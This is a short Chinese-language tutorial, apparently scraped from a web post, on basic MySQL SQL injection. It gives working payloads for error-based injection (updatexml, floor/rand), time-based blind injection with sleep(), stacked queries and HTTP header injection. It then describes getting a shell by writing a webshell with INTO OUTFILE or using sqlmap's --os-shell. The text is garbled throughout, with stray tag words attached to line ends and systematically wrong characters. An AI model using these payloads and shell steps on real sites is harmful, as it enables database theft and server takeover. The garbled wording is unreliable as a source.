这里只讲解sql注入漏洞的基本类型,代码分析将放在另一篇帖子讲解mysql
and updatexml(1,concat(0x7e,(select database()),0x7e),1)
and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a)
if (length(database())>1,sleep(5),1)
就是说若是数据库长度大于1,那么响应延时5秒,不然执行select 1(也就是不延时),由此来推出数据库长度。sql
if(substr(database(),1,1)='s',sleep(5),1)
if(substr(database(),2,1)='s',sleep(5),1)
只有第一个字母等于26个字母中正确的字母时,才会延时5秒,所以能够经过burp或者sqlmap来跑。shell
;select if(length(database())>1,sleep(3),1) ;select if(substr(database(),1,1)='r',sleep(3),1)
【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】
XFF注入即HTTP头部的X-Forwarded-for参数存在sql注入;数据库
例如测试此参数的值 X-Forwarded-for:127.0.0.1' 响应有sql报错,那么此处就是注入点;缓存
若是经过一些方式爆出了网站的根目录,而且知道此站点存在sql注入;cookie
猜想此数据库可能有file权限,那么咱们就可使用语句:into outfile 来写shell到网站的根目录下,以后用菜刀链接;函数
若是数据库没有file权限,那么咱们用sqlmap的参数 --is-dba 来查看当前数据库的用户是否有管理员权限;post
若是有管理员权限,咱们就可使用sqlmap里面的参数命令 --os-shell 来上传、反弹shell,最终getshell;测试
若是file、管理员权限都没有,那么另寻思路,日志、缓存写入等。网站
简单的介绍了大体遇到的sql注入存在的类型,可是实际状况下可能会遇到更奇葩的sql注入利用方法,可是掌握了这些基本的sql注入以后,对后面sql注入的进阶会更有帮助;以后还会介绍sql注入经常使用到的绕过技术。